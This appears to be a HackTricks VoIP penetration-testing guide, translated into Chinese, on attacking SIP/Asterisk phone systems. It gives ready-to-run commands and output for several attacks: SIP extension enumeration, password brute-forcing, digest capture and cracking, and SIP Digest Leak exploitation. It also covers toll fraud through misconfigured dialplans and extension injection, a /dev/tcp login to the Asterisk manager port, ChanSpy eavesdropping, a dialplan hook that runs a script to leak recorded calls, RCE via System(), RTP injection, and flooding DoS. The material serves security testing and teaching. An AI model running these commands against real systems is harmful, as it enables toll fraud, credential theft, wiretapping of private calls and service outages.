.. | ||
basic-voip-protocols | ||
README.md |
Pentesting VoIP
{% hint style="success" %}
学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 分享黑客技巧。
VoIP 基本信息
要开始了解 VoIP 的工作原理,请查看:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
基本消息
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
响应代码
1xx—临时响应
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xx—成功响应
200 OK
202 Accepted
204 No Notification
3xx—重定向响应
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xx—客户端失败响应
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xx—服务器故障响应
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xx—全局失败响应
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP Enumeration
电话号码
红队可以采取的第一步是使用OSINT工具、Google搜索或抓取网页来搜索可用的电话号码以联系公司。
一旦你有了电话号码,你可以使用在线服务来识别运营商:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
知道运营商是否提供VoIP服务,你可以确定公司是否在使用VoIP……此外,公司可能没有雇佣VoIP服务,而是使用PSTN卡将自己的VoIP PBX连接到传统电话网络。
诸如自动音乐响应等情况通常表明正在使用VoIP。
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT 信息
任何其他有助于识别所使用的 VoIP 软件的 OSINT 枚举对红队都是有帮助的。
网络枚举
nmap
能够扫描 UDP 服务,但由于扫描的 UDP 服务数量较多,它的速度非常慢,并且在这类服务上可能不够准确。
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
来自 SIPVicious (sudo apt install sipvicious
): 将在指定网络中定位 SIP 服务。svmap
容易被阻止,因为它使用了 User-Agentfriendly-scanner
,但你可以修改/usr/share/sipvicious/sipvicious
中的代码并进行更改。
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS scan
from sippts: SIPPTS扫描是一个非常快速的SIP服务扫描器,支持UDP、TCP或TLS。它使用多线程,可以扫描大范围的网络。它允许轻松指示端口范围,扫描TCP和UDP,使用其他方法(默认情况下将使用OPTIONS)并指定不同的User-Agent(等等)。
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
额外的网络枚举
PBX 还可能暴露其他网络服务,例如:
- 69/UDP (TFTP): 固件更新
- 80 (HTTP) / 443 (HTTPS): 从网页管理设备
- 389 (LDAP): 存储用户信息的替代方案
- 3306 (MySQL): MySQL 数据库
- 5038 (Manager): 允许从其他平台使用 Asterisk
- 5222 (XMPP): 使用 Jabber 发送消息
- 5432 (PostgreSQL): PostgreSQL 数据库
- 以及其他...
方法枚举
可以使用 SIPPTS enumerate
从 sippts 找到 可用的方法。
sippts enumerate -i 10.10.0.10
分析服务器响应
分析服务器返回给我们的头部信息非常重要,这取决于我们发送的消息和头部的类型。使用来自 sippts 的 SIPPTS send
,我们可以发送个性化消息,操纵所有头部,并分析响应。
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
如果服务器使用 websockets,获取数据也是可能的。通过 sippts 中的 SIPPTS wssend
,我们可以发送个性化的 WS 消息。
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Extension Enumeration
在PBX(私人分支交换机)系统中,扩展指的是分配给组织或企业内各个电话线路、设备或用户的唯一内部标识符。扩展使得在组织内部高效地路由电话成为可能,无需为每个用户或设备提供单独的外部电话号码。
svwar
来自SIPVicious(sudo apt install sipvicious
):svwar
是一个免费的SIP PBX扩展线路扫描器。在概念上,它的工作方式类似于传统的拨号器,通过猜测一系列扩展或给定的扩展列表。
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
来自 sippts: SIPPTS exten 识别 SIP 服务器上的扩展。 Sipexten 可以检查大范围的网络和端口。
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: 你也可以使用 metasploit 枚举扩展/用户名:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX 是一个 Inter Asterisk Exchange 协议 用户名暴力破解枚举器。enumIAX 可以在两种不同模式下操作:顺序用户名猜测或字典攻击。
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP 攻击
密码暴力破解 - 在线
在发现了 PBX 和一些 分机/用户名 后,红队可以尝试通过 REGISTER
方法对分机进行身份验证,使用常见密码字典进行暴力破解。
{% hint style="danger" %} 请注意,用户名 可以与分机相同,但这种做法可能会因 PBX 系统、其配置和组织的偏好而有所不同...
如果用户名与分机不同,您需要 找出用户名以进行暴力破解。 {% endhint %}
svcrack
来自 SIPVicious (sudo apt install sipvicious
): SVCrack 允许您破解 PBX 上特定用户名/分机的密码。
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
来自 sippts: SIPPTS rcrack 是一个用于 SIP 服务的远程密码破解工具。Rcrack 可以在不同的 IP 和端口范围内测试多个用户的密码。
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP嗅探
如果你在开放Wifi网络中发现VoIP设备,你可以嗅探所有信息。此外,如果你在一个更封闭的网络中(通过以太网连接或受保护的Wifi),你可以在PBX和网关之间执行MitM攻击,例如 ARPspoofing以嗅探信息。
在网络信息中,你可能会找到管理设备的网页凭证、用户分机、用户名、IP地址,甚至哈希密码和RTP数据包,你可以重放这些数据包以听到对话,等等。
要获取这些信息,你可以使用Wireshark、tcpdump等工具……但一个专门创建的嗅探VoIP对话的工具是 ucsniff。
{% hint style="danger" %}
请注意,如果SIP通信中使用了TLS,你将无法看到明文的SIP通信。
如果使用SRTP和ZRTP,RTP数据包将不会是明文。
{% endhint %}
SIP凭证(密码暴力破解 - 离线)
查看这个例子以更好地理解SIP REGISTER通信,以了解凭证是如何发送的。
sipdump
和sipcrack
,是sipcrack的一部分(apt-get install sipcrack
):这些工具可以从pcap中提取SIP协议中的摘要认证并进行暴力破解。
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
来自 sippts: SIPPTS dump 可以从 pcap 文件中提取摘要认证。
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
来自 sippts: SIPPTS dcrack 是一个用于破解通过 SIPPTS dump 获得的摘要认证的工具。
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
来自 sippts: SIPPTS tshark 从 PCAP 文件中提取 SIP 协议的数据。
sippts tshark -f capture.pcap [-filter auth]
DTMF 代码
不仅可以在网络流量中找到 SIP 凭据,还可以找到用于访问 语音邮件 的 DTMF 代码。
这些代码可以在 INFO SIP 消息、音频 或 RTP 数据包 中发送。如果代码在 RTP 数据包中,您可以剪切对话的那部分并使用工具 multimo 提取它们:
multimon -a DTMF -t wac pin.wav
免费通话 / Asterisks 连接配置错误
在 Asterisk 中,可以允许来自 特定 IP 地址 的连接或来自 任何 IP 地址 的连接:
host=10.10.10.10
host=dynamic
如果指定了IP地址,主机将不需要每隔一段时间发送REGISTER请求(在REGISTER数据包中发送了生存时间,通常为30分钟,这意味着在其他情况下,电话将需要每30分钟REGISTER一次)。然而,它需要开放端口以允许VoIP服务器进行通话。
要定义用户,可以定义为:
type=user
:用户只能接收电话。type=friend
:可以作为对等方进行通话并作为用户接收通话(与分机一起使用)type=peer
:可以作为对等方发送和接收通话(SIP-trunks)
还可以通过不安全变量建立信任:
insecure=port
:允许通过IP验证的对等连接。insecure=invite
:不需要对INVITE消息进行身份验证insecure=port,invite
:两者都可以
{% hint style="warning" %}
当使用**type=friend
时,host变量的值将不被使用**,因此如果管理员错误配置SIP-trunk使用该值,任何人都将能够连接到它。
例如,这种配置将是脆弱的:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
免费通话 / Asterisks上下文错误配置
在Asterisk中,上下文是拨号计划中一个命名的容器或部分,将相关的分机、操作和规则组合在一起。拨号计划是Asterisk系统的核心组件,因为它定义了如何处理和路由来电和去电。上下文用于组织拨号计划、管理访问控制,并提供系统不同部分之间的分离。
每个上下文在配置文件中定义,通常在**extensions.conf
**文件中。上下文用方括号表示,上下文名称包含在其中。例如:
csharpCopy code[my_context]
在上下文中,您定义扩展(拨打号码的模式)并将其与一系列操作或应用程序关联。这些操作决定了电话的处理方式。例如:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
这个示例演示了一个简单的上下文,称为 "my_context",扩展名为 "100"。当有人拨打 100 时,电话将被接听,播放欢迎消息,然后电话将被终止。
这是 另一个上下文,允许 拨打任何其他号码:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
如果管理员将 默认上下文 定义为:
[default]
include => my_context
include => external
{% hint style="warning" %} 任何人都可以使用 服务器拨打任何其他号码(服务器的管理员将为通话付费)。 {% endhint %}
{% hint style="danger" %}
此外,默认情况下 sip.conf
文件包含 allowguest=true
,因此 任何 攻击者在 没有认证 的情况下都能够拨打任何其他号码。
{% endhint %}
SIPPTS invite
来自 sippts: SIPPTS invite 检查 PBX 服务器是否允许我们在没有认证的情况下拨打电话。如果 SIP 服务器配置不正确,它将允许我们拨打外部号码。它还可以允许我们将通话转移到第二个外部号码。
例如,如果您的 Asterisk 服务器有不良的上下文配置,您可以在没有授权的情况下接受 INVITE 请求。在这种情况下,攻击者可以在不知道任何用户/密码的情况下拨打电话。
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
免费电话 / 配置错误的 IVRS
IVRS 代表 交互式语音响应系统,是一种电话技术,允许用户通过语音或按键输入与计算机系统进行交互。IVRS 用于构建 自动呼叫处理 系统,提供一系列功能,如提供信息、路由电话和捕获用户输入。
VoIP 系统中的 IVRS 通常包括:
- 语音提示:引导用户通过 IVR 菜单选项和说明的预录音频消息。
- DTMF(双音多频)信号:通过按下电话上的按键生成的触摸音输入,用于在 IVR 菜单中导航和提供输入。
- 呼叫路由:根据用户输入将电话直接转接到适当的目的地,如特定部门、代理或分机。
- 用户输入捕获:收集来电者的信息,如账户号码、案件 ID 或任何其他相关数据。
- 与外部系统的集成:将 IVR 系统连接到数据库或其他软件系统,以访问或更新信息、执行操作或触发事件。
在 Asterisk VoIP 系统中,您可以使用拨号计划(extensions.conf
文件)和各种应用程序(如 Background()
、Playback()
、Read()
等)创建 IVR。这些应用程序帮助您播放语音提示、捕获用户输入并控制呼叫流程。
漏洞配置示例
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
之前的例子中,用户被要求按1拨打一个部门,按2拨打另一个部门,或者如果他知道完整的分机号,则输入完整的分机号。
漏洞在于所指示的分机长度没有被检查,因此用户可以输入5秒超时的完整号码并进行拨打。
分机注入
使用如下分机:
exten => _X.,1,Dial(SIP/${EXTEN})
当 ${EXTEN}
是将被拨打的 分机 时,当 ext 101 被引入 时,将会发生以下情况:
exten => 101,1,Dial(SIP/101)
然而,如果 ${EXTEN}
允许输入 超过数字(如在旧版 Asterisk 中),攻击者可以输入 101&SIP123123123
来拨打电话号码 123123123。这将是结果:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
因此,对分机 101
和 123123123
的呼叫将被发送,只有第一个接到电话的分机会建立连接……但是如果攻击者使用一个 绕过任何匹配 的分机,该分机并不存在,他可以 仅向所需号码注入一个呼叫。
SIPDigestLeak 漏洞
SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软件 IP 电话以及电话适配器(VoIP 转模拟)。该漏洞允许 泄露 Digest 认证响应,该响应是根据密码计算的。然后可以进行 离线密码攻击,并根据挑战响应恢复大多数密码。
**漏洞场景来自这里**:
- 一部 IP 电话(受害者)在任何端口上监听(例如:5060),接受电话呼叫
- 攻击者向 IP 电话发送 INVITE
- 受害者电话开始响铃,有人接听并挂断(因为另一端没有人接电话)
- 当电话挂断时,受害者电话向攻击者发送 BYE
- 攻击者发出 407 响应,请求认证并发出认证挑战
- 受害者电话在第二个 BYE 中提供对认证挑战的响应
- 攻击者可以在他的本地机器上(或分布式网络等)对挑战响应进行暴力破解攻击并猜测密码
- SIPPTS 漏洞来自 sippts: SIPPTS 漏洞利用了影响大量 SIP 电话的 SIP Digest Leak 漏洞。输出可以以 SipCrack 格式保存,以便使用 SIPPTS dcrack 或 SipCrack 工具进行暴力破解。
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call 允许一个 网络用户(例如可能对某个产品感兴趣) 提供 他的 电话号码 以接收电话。然后会拨打一个商业电话,当他 接听电话 时,用户将 被呼叫并与代理连接。
一个常见的 Asterisk 配置文件是:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- 之前的配置允许 任何 IP 地址连接(如果密码已知)。
- 要 组织一个电话,如前所述,不需要读取权限,只需要 在写入中 发起。
拥有这些权限的任何知道密码的 IP 都可以连接并提取过多信息,例如:
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
更多信息或操作可以被请求。
窃听
在 Asterisk 中,可以使用命令 ChanSpy
指定要监控的 分机(或所有分机)来听取正在进行的对话。此命令需要分配给一个分机。
例如,exten => 333,1,ChanSpy('all',qb)
表示如果你 拨打 分机 333,它将 监控 all
的分机,开始监听 每当新的对话开始时 (b
) 以静音模式 (q
) 进行,因为我们不想进行互动。你可以通过按 *
或输入分机号码在进行的对话之间切换。
也可以使用 ExtenSpy
仅监控一个分机。
除了监听对话外,还可以使用分机将其 录制到文件中,例如:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
通话将保存在 /tmp
。
您甚至可以让 Asterisk 在通话结束时执行一个脚本以泄露通话。
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed 漏洞
RTCPBleed 是一个影响基于 Asterisk 的 VoIP 服务器的重大安全问题(发布于 2017 年)。该漏洞允许 RTP(实时传输协议)流量,即承载 VoIP 通话的流量,被 互联网上的任何人拦截和重定向。这是因为 RTP 流量在通过 NAT(网络地址转换)防火墙时绕过了身份验证。
RTP 代理尝试通过在两个或多个参与者之间代理 RTP 流来解决影响 RTC 系统的 NAT 限制。当 NAT 存在时,RTP 代理软件通常无法依赖通过信令(例如 SIP)获取的 RTP IP 和端口信息。因此,一些 RTP 代理实现了一种机制,使得这样的 IP 和端口元组能够自动学习。这通常是通过检查传入的 RTP 流量并将任何传入 RTP 流量的源 IP 和端口标记为应响应的来完成的。这种机制可能被称为“学习模式”,不使用任何形式的身份验证。因此,攻击者 可以 向 RTP 代理发送 RTP 流量,并接收原本应发送给正在进行的 RTP 流的呼叫者或被呼叫者的代理 RTP 流量。我们称这种漏洞为 RTP Bleed,因为它允许攻击者接收原本应发送给合法用户的 RTP 媒体流。
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 即使不易受 RTP Bleed 漏洞影响,它们仍会 接受、转发和/或处理来自任何源的 RTP 数据包。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体,而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中发现。
Asterisk 和 FreePBX 传统上使用 NAT=yes
设置,这使得 RTP 流量能够绕过身份验证,可能导致通话中没有音频或单向音频。
有关更多信息,请查看 https://www.rtpbleed.com/
SIPPTS rtpbleed
来自 sippts: SIPPTS rtpbleed 通过发送 RTP 流来检测 RTP Bleed 漏洞。
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
来自sippts: SIPPTS rtcpbleed 通过发送 RTCP 流来检测 RTP Bleed 漏洞。
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
来自 sippts: SIPPTS rtpbleedflood 利用 RTP Bleed 漏洞发送 RTP 流。
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
来自 sippts: SIPPTS rtpbleedinject 利用 RTP Bleed 漏洞注入音频文件(WAV 格式)。
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
在 Asterisk 中,如果你以某种方式能够 添加扩展规则并重新加载它们(例如,通过攻陷一个易受攻击的网络管理服务器),则可以使用 System
命令获得 RCE。
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
有一个命令叫 Shell
,可以在必要时 替代 System
来执行系统命令。
{% hint style="warning" %}
如果服务器 不允许在 System
命令中使用某些字符(如在 Elastix 中),请检查网络服务器是否允许 以某种方式在系统内部创建文件(如在 Elastix 或 trixbox 中),并利用它 创建一个后门脚本,然后使用 System
来 执行 该 脚本。
{% endhint %}
有趣的本地文件和权限
sip.conf
-> 包含 SIP 用户的密码。- 如果 Asterisk 服务器以 root 身份运行,您可能会危害 root。
- mysql root 用户 可能 没有任何密码。
- 这可以用来创建一个新的 mysql 用户作为后门。
FreePBX
amportal.conf
-> 包含网络面板管理员(FreePBX)的密码。FreePBX.conf
-> 包含用于访问数据库的用户 FreePBXuser 的密码。- 这可以用来创建一个新的 mysql 用户作为后门。
Elastix
Elastix.conf
-> 包含多个明文密码,如 mysql root 密码、IMAPd 密码、网络管理员密码。- 多个文件夹 将属于被攻陷的 asterisk 用户(如果不是以 root 身份运行)。该用户可以读取之前的文件并控制配置,因此他可以使 Asterisk 在执行时加载其他后门二进制文件。
RTP 注入
可以使用工具如 rtpinsertsound
(sudo apt install rtpinsertsound
)和 rtpmixsound
(sudo apt install rtpmixsound
)在对话中插入 .wav
文件。
或者您可以使用来自 http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ 的脚本来 扫描对话(rtpscan.pl
)、向对话发送 .wav
(rtpsend.pl
)和 在对话中插入噪音(rtpflood.pl
)。
DoS
有几种方法可以尝试在 VoIP 服务器上实现 DoS。
SIPPTS flood
来自 sippts**: SIPPTS flood 向目标发送无限消息。sippts flood -i 10.10.0.10 -m invite -v
SIPPTS ping
来自 sippts**: SIPPTS ping 进行 SIP ping 以查看服务器响应时间。sippts ping -i 10.10.0.10
- IAXFlooder: DoS IAX 协议用于 Asterisk。
- inviteflood: 一个用于在 UDP/IP 上执行 SIP/SDP INVITE 消息洪水的工具。
- rtpflood: 发送多个格式良好的 RTP 数据包。需要先知道正在使用的 RTP 端口(先嗅探)。
- SIPp: 允许分析和生成 SIP 流量,因此也可以用于 DoS。
- SIPsak: SIP 瑞士军刀。也可以用于执行 SIP 攻击。
- 模糊测试工具: protos-sip, voiper.
操作系统漏洞
安装像 Asterisk 这样的软件最简单的方法是下载一个已经安装了它的 操作系统发行版,例如:FreePBX, Elastix, Trixbox... 这些的一个问题是,一旦它工作,系统管理员可能 不会再更新它们,而 漏洞 会随着时间的推移被发现。
参考文献
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
{% hint style="success" %}
学习和实践 AWS 黑客攻击:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客攻击:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 电报群组 或 在 Twitter 上关注 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。